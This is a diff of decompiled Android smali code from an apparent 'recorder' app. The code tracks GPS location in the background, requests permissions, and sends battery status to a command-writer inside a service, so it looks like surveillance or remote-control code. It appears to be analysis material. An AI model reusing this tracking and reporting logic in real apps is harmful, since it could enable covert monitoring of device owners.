||||
move-result-object v1
|
||||
|
||||
const-string v2, "(%d) %s %d"
|
||||
|
||||
invoke-static {v2, v1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p0, v1}, Lcom/nvav/srv/recorder/MActivity;->setTitle(Ljava/lang/CharSequence;)V
|
||||
|
||||
.line 336
|
||||
invoke-virtual {p0}, Lcom/nvav/srv/recorder/MActivity;->getActionBar()Landroid/app/ActionBar;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
new-instance v2, Landroid/graphics/drawable/ColorDrawable;
|
||||
|
||||
sget-object v3, Lcom/nvav/srv/recorder/MActivity;->colors:[Ljava/lang/String;
|
||||
|
||||
aget-object v0, v3, v0
|
||||
|
||||
invoke-static {v0}, Landroid/graphics/Color;->parseColor(Ljava/lang/String;)I
|
||||
|
||||
move-result v0
|
||||
|
||||
invoke-direct {v2, v0}, Landroid/graphics/drawable/ColorDrawable;-><init>(I)V
|
||||
|
||||
invoke-virtual {v1, v2}, Landroid/app/ActionBar;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V
|
||||
|
||||
.line 341
|
||||
new-instance v0, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-direct {v0, p0, v1}, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;-><init>(Lcom/nvav/srv/recorder/MActivity;Landroid/os/Handler;)V
|
||||
|
||||
.line 342
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
|
||||
|
||||
const-string v2, "reciver"
|
||||
|
||||
invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
|
||||
|
||||
.line 343
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->mPreviewView:Landroid/widget/TextView;
|
||||
|
||||
new-instance v1, Lcom/nvav/srv/recorder/MActivity$7;
|
||||
|
||||
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$7;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/TextView;->setOnClickListener(Landroid/view/View$OnClickListener;)V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method ResetButton()V
|
||||
.locals 3
|
||||
|
||||
.line 160
|
||||
new-instance v0, Landroid/app/AlertDialog$Builder;
|
||||
|
||||
invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
|
||||
|
||||
.line 161
|
||||
const-string v1, "Reset?"
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 163
|
||||
new-instance v1, Lcom/nvav/srv/recorder/MActivity$1;
|
||||
|
||||
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$1;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
const-string v2, "Yes"
|
||||
|
||||
invoke-virtual {v0, v2, v1}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 172
|
||||
new-instance v1, Lcom/nvav/srv/recorder/MActivity$2;
|
||||
|
||||
invoke-direct {v1, p0}, Lcom/nvav/srv/recorder/MActivity$2;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
const-string v2, "No"
|
||||
|
||||
invoke-virtual {v0, v2, v1}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
|
||||
|
||||
.line 179
|
||||
invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->show()Landroid/app/AlertDialog;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method protected onCreate(Landroid/os/Bundle;)V
|
||||
.locals 6
|
||||
|
||||
.line 195
|
||||
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
|
||||
|
||||
.line 196
|
||||
iput-object p0, p0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 197
|
||||
iput-boolean p1, p0, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
|
||||
|
||||
.line 199
|
||||
const-string v0, ""
|
||||
|
||||
invoke-static {p0, v0, p1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
|
||||
|
||||
const/high16 v0, 0x7f040000
|
||||
|
||||
.line 207
|
||||
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/MActivity;->setContentView(I)V
|
||||
|
||||
.line 209
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {v0}, Lcom/nvav/srv/recorder/ChenalC;->get()Ljava/lang/Byte;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
.line 217
|
||||
new-instance v0, Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/MActivity$Updater;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
.line 218
|
||||
invoke-virtual {v0}, Lcom/nvav/srv/recorder/MActivity$Updater;->start()V
|
||||
|
||||
const v0, 0x7f020006
|
||||
|
||||
.line 219
|
||||
invoke-virtual {p0, v0}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
check-cast v0, Landroid/widget/TextView;
|
||||
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->mPreviewView:Landroid/widget/TextView;
|
||||
|
||||
.line 220
|
||||
new-instance v0, Landroid/content/Intent;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
const-class v2, Lcom/nvav/srv/recorder/Speek;
|
||||
|
||||
invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
|
||||
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
|
||||
|
||||
.line 221
|
||||
new-instance v0, Ljava/util/ArrayList;
|
||||
|
||||
invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
|
||||
|
||||
.line 222
|
||||
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->perm:[Ljava/lang/String;
|
||||
|
||||
array-length v2, v1
|
||||
|
||||
:goto_0
|
||||
if-ge p1, v2, :cond_1
|
||||
|
||||
aget-object v3, v1, p1
|
||||
|
||||
.line 223
|
||||
invoke-static {p0, v3}, Landroid/support/v4/content/ContextCompat;->checkSelfPermission(Landroid/content/Context;Ljava/lang/String;)I
|
||||
|
||||
move-result v4
|
||||
|
||||
const/4 v5, -0x1
|
||||
|
||||
if-ne v4, v5, :cond_0
|
||||
|
||||
.line 224
|
||||
invoke-interface {v0, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 p1, p1, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 227
|
||||
:cond_1
|
||||
invoke-interface {v0}, Ljava/util/List;->size()I
|
||||
|
||||
move-result p1
|
||||
|
||||
new-array p1, p1, [Ljava/lang/String;
|
||||
|
||||
.line 228
|
||||
invoke-interface {v0, p1}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, [Ljava/lang/String;
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
.line 229
|
||||
invoke-static {p0, p1, v0}, Landroid/support/v4/app/ActivityCompat;->requestPermissions(Landroid/app/Activity;[Ljava/lang/String;I)V
|
||||
|
||||
.line 231
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
|
||||
|
||||
move-result p1
|
||||
|
||||
if-nez p1, :cond_2
|
||||
|
||||
.line 232
|
||||
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->getCh()V
|
||||
|
||||
:cond_2
|
||||
const p1, 0x7f020005
|
||||
|
||||
.line 235
|
||||
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Landroid/widget/TextView;
|
||||
|
||||
.line 236
|
||||
new-instance v0, Lcom/nvav/srv/recorder/MActivity$3;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/MActivity$3;-><init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/widget/TextView;->setOnLongClickListener(Landroid/view/View$OnLongClickListener;)V
|
||||
|
||||
.line 253
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
|
||||
|
||||
move-result p1
|
||||
|
||||
if-lez p1, :cond_3
|
||||
|
||||
.line 254
|
||||
invoke-direct {p0}, Lcom/nvav/srv/recorder/MActivity;->init()V
|
||||
|
||||
:cond_3
|
||||
const/high16 p1, 0x7f020000
|
||||
|
||||
.line 256
|
||||
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
move-object v2, p1
|
||||
|
||||
check-cast v2, Landroid/widget/ImageView;
|
||||
|
||||
const p1, 0x7f020001
|
||||
|
||||
.line 257
|
||||
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
move-object v3, p1
|
||||
|
||||
check-cast v3, Landroid/widget/ImageView;
|
||||
|
||||
const p1, 0x7f020002
|
||||
|
||||
.line 258
|
||||
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
move-object v4, p1
|
||||
|
||||
check-cast v4, Landroid/widget/ImageView;
|
||||
|
||||
const p1, 0x7f020003
|
||||
|
||||
.line 259
|
||||
invoke-virtual {p0, p1}, Lcom/nvav/srv/recorder/MActivity;->findViewById(I)Landroid/view/View;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
move-object v5, p1
|
||||
|
||||
check-cast v5, Landroid/widget/ImageView;
|
||||
|
||||
.line 260
|
||||
new-instance p1, Lcom/nvav/srv/recorder/MActivity$4;
|
||||
|
||||
move-object v0, p1
|
||||
|
||||
move-object v1, p0
|
||||
|
||||
invoke-direct/range {v0 .. v5}, Lcom/nvav/srv/recorder/MActivity$4;-><init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;)V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity;->handler:Landroid/os/Handler;
|
||||
|
||||
.line 290
|
||||
:try_start_0
|
||||
invoke-static {p0}, Lcom/nvav/srv/recorder/MyLocListen;->SetUpLocationListener(Landroid/content/Context;)V
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 292
|
||||
invoke-virtual {p1}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:goto_1
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOptionsItemSelected(Landroid/view/MenuItem;)Z
|
||||
.locals 2
|
||||
|
||||
.line 184
|
||||
invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I
|
||||
|
||||
move-result v0
|
||||
|
||||
const v1, 0x7f020004
|
||||
|
||||
if-eq v0, v1, :cond_0
|
||||
|
||||
.line 188
|
||||
invoke-super {p0, p1}, Landroid/app/Activity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
|
||||
:cond_0
|
||||
const/4 p1, 0x1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
|
||||
.method protected onPause()V
|
||||
.locals 0
|
||||
|
||||
.line 377
|
||||
invoke-super {p0}, Landroid/app/Activity;->onPause()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method protected onResume()V
|
||||
.locals 0
|
||||
|
||||
.line 373
|
||||
invoke-super {p0}, Landroid/app/Activity;->onResume()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onStart()V
|
||||
.locals 0
|
||||
|
||||
.line 381
|
||||
invoke-super {p0}, Landroid/app/Activity;->onStart()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onStop()V
|
||||
.locals 0
|
||||
|
||||
.line 385
|
||||
invoke-super {p0}, Landroid/app/Activity;->onStop()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,102 @@
|
||||
.class Lcom/nvav/srv/recorder/MyLocListen;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MyLocListen.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/location/LocationListener;
|
||||
|
||||
|
||||
# static fields
|
||||
.field static imHere:Landroid/location/Location;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
.line 10
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public static SetUpLocationListener(Landroid/content/Context;)V
|
||||
.locals 6
|
||||
|
||||
.line 16
|
||||
:try_start_0
|
||||
const-string v0, "location"
|
||||
|
||||
invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p0
|
||||
|
||||
check-cast p0, Landroid/location/LocationManager;
|
||||
|
||||
.line 17
|
||||
new-instance v5, Lcom/nvav/srv/recorder/MyLocListen;
|
||||
|
||||
invoke-direct {v5}, Lcom/nvav/srv/recorder/MyLocListen;-><init>()V
|
||||
|
||||
.line 18
|
||||
const-string v1, "gps"
|
||||
|
||||
const-wide/16 v2, 0x1388
|
||||
|
||||
const/high16 v4, 0x41200000 # 10.0f
|
||||
|
||||
move-object v0, p0
|
||||
|
||||
invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V
|
||||
|
||||
.line 19
|
||||
const-string v0, "gps"
|
||||
|
||||
invoke-virtual {p0, v0}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
|
||||
|
||||
move-result-object p0
|
||||
|
||||
sput-object p0, Lcom/nvav/srv/recorder/MyLocListen;->imHere:Landroid/location/Location;
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
:catch_0
|
||||
move-exception p0
|
||||
|
||||
.line 21
|
||||
invoke-virtual {p0}, Ljava/lang/Exception;->printStackTrace()V
|
||||
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onLocationChanged(Landroid/location/Location;)V
|
||||
.locals 0
|
||||
|
||||
.line 25
|
||||
sput-object p1, Lcom/nvav/srv/recorder/MyLocListen;->imHere:Landroid/location/Location;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onProviderDisabled(Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onProviderEnabled(Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onStatusChanged(Ljava/lang/String;ILandroid/os/Bundle;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,33 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$drawable;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "drawable"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final backr:I = 0x7f010000
|
||||
|
||||
.field public static final backrepeat:I = 0x7f010001
|
||||
|
||||
.field public static final off:I = 0x7f010002
|
||||
|
||||
.field public static final on:I = 0x7f010003
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,39 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$id;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "id"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final L1:I = 0x7f020000
|
||||
|
||||
.field public static final L2:I = 0x7f020001
|
||||
|
||||
.field public static final L3:I = 0x7f020002
|
||||
|
||||
.field public static final L4:I = 0x7f020003
|
||||
|
||||
.field public static final action_settings:I = 0x7f020004
|
||||
|
||||
.field public static final br:I = 0x7f020005
|
||||
|
||||
.field public static final preview_view:I = 0x7f020006
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,27 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$integer;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "integer"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final Chenal:I = 0x7f030000
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,27 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$layout;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "layout"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final activity:I = 0x7f040000
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,27 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$menu;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "menu"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final main:I = 0x7f050000
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,27 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$mipmap;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "mipmap"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final ic_launcher:I = 0x7f060000
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,29 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$string;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "string"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final app_name:I = 0x7f070000
|
||||
|
||||
.field public static final notification_description:I = 0x7f070001
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,27 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R$xml;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/R;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x19
|
||||
name = "xml"
|
||||
.end annotation
|
||||
|
||||
|
||||
# static fields
|
||||
.field public static final file_paths:I = 0x7f080000
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
27
apk_3234/apktool_output/smali/com/nvav/srv/recorder/R.smali
Normal file
27
apk_3234/apktool_output/smali/com/nvav/srv/recorder/R.smali
Normal file
@@ -0,0 +1,27 @@
|
||||
.class public final Lcom/nvav/srv/recorder/R;
|
||||
.super Ljava/lang/Object;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/MemberClasses;
|
||||
value = {
|
||||
Lcom/nvav/srv/recorder/R$drawable;,
|
||||
Lcom/nvav/srv/recorder/R$id;,
|
||||
Lcom/nvav/srv/recorder/R$integer;,
|
||||
Lcom/nvav/srv/recorder/R$layout;,
|
||||
Lcom/nvav/srv/recorder/R$menu;,
|
||||
Lcom/nvav/srv/recorder/R$mipmap;,
|
||||
Lcom/nvav/srv/recorder/R$string;,
|
||||
Lcom/nvav/srv/recorder/R$xml;
|
||||
}
|
||||
.end annotation
|
||||
|
||||
|
||||
# direct methods
|
||||
.method private constructor <init>()V
|
||||
.locals 0
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,100 @@
|
||||
.class Lcom/nvav/srv/recorder/Speek$1;
|
||||
.super Landroid/content/BroadcastReceiver;
|
||||
.source "Speek.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/Speek;->onCreate()V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/Speek;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/Speek;)V
|
||||
.locals 0
|
||||
|
||||
.line 32
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/Speek$1;->this$0:Lcom/nvav/srv/recorder/Speek;
|
||||
|
||||
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
|
||||
.locals 5
|
||||
|
||||
.line 42
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/Speek$1;->this$0:Lcom/nvav/srv/recorder/Speek;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/Speek;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
.line 43
|
||||
const-string v0, "scale"
|
||||
|
||||
const/4 v1, 0x0
|
||||
|
||||
invoke-virtual {p2, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
|
||||
|
||||
move-result v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const-string v2, "level"
|
||||
|
||||
.line 44
|
||||
invoke-virtual {p2, v2, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
|
||||
|
||||
move-result v2
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
const-string v3, "temperature"
|
||||
|
||||
.line 45
|
||||
invoke-virtual {p2, v3, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
|
||||
|
||||
move-result p2
|
||||
|
||||
invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
const-wide/16 v3, 0x0
|
||||
|
||||
.line 46
|
||||
invoke-static {v3, v4}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
.line 47
|
||||
filled-new-array {v0, v2, p2, v1, v1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
.line 42
|
||||
const-string v0, "battery=%d=%d=%d=%f=%f"
|
||||
|
||||
invoke-static {v0, p2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
169
apk_3234/apktool_output/smali/com/nvav/srv/recorder/Speek.smali
Normal file
169
apk_3234/apktool_output/smali/com/nvav/srv/recorder/Speek.smali
Normal file
@@ -0,0 +1,169 @@
|
||||
.class public Lcom/nvav/srv/recorder/Speek;
|
||||
.super Landroid/app/Service;
|
||||
.source "Speek.java"
|
||||
|
||||
|
||||
# instance fields
|
||||
.field comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
.field public resultReceiver:Landroid/os/ResultReceiver;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public constructor <init>()V
|
||||
.locals 1
|
||||
|
||||
.line 15
|
||||
invoke-direct {p0}, Landroid/app/Service;-><init>()V
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 16
|
||||
iput-object v0, p0, Lcom/nvav/srv/recorder/Speek;->resultReceiver:Landroid/os/ResultReceiver;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
|
||||
.locals 0
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
return-object p1
|
||||
.end method
|
||||
|
||||
.method public onCreate()V
|
||||
.locals 3
|
||||
|
||||
.line 30
|
||||
new-instance v0, Landroid/app/Notification;
|
||||
|
||||
invoke-direct {v0}, Landroid/app/Notification;-><init>()V
|
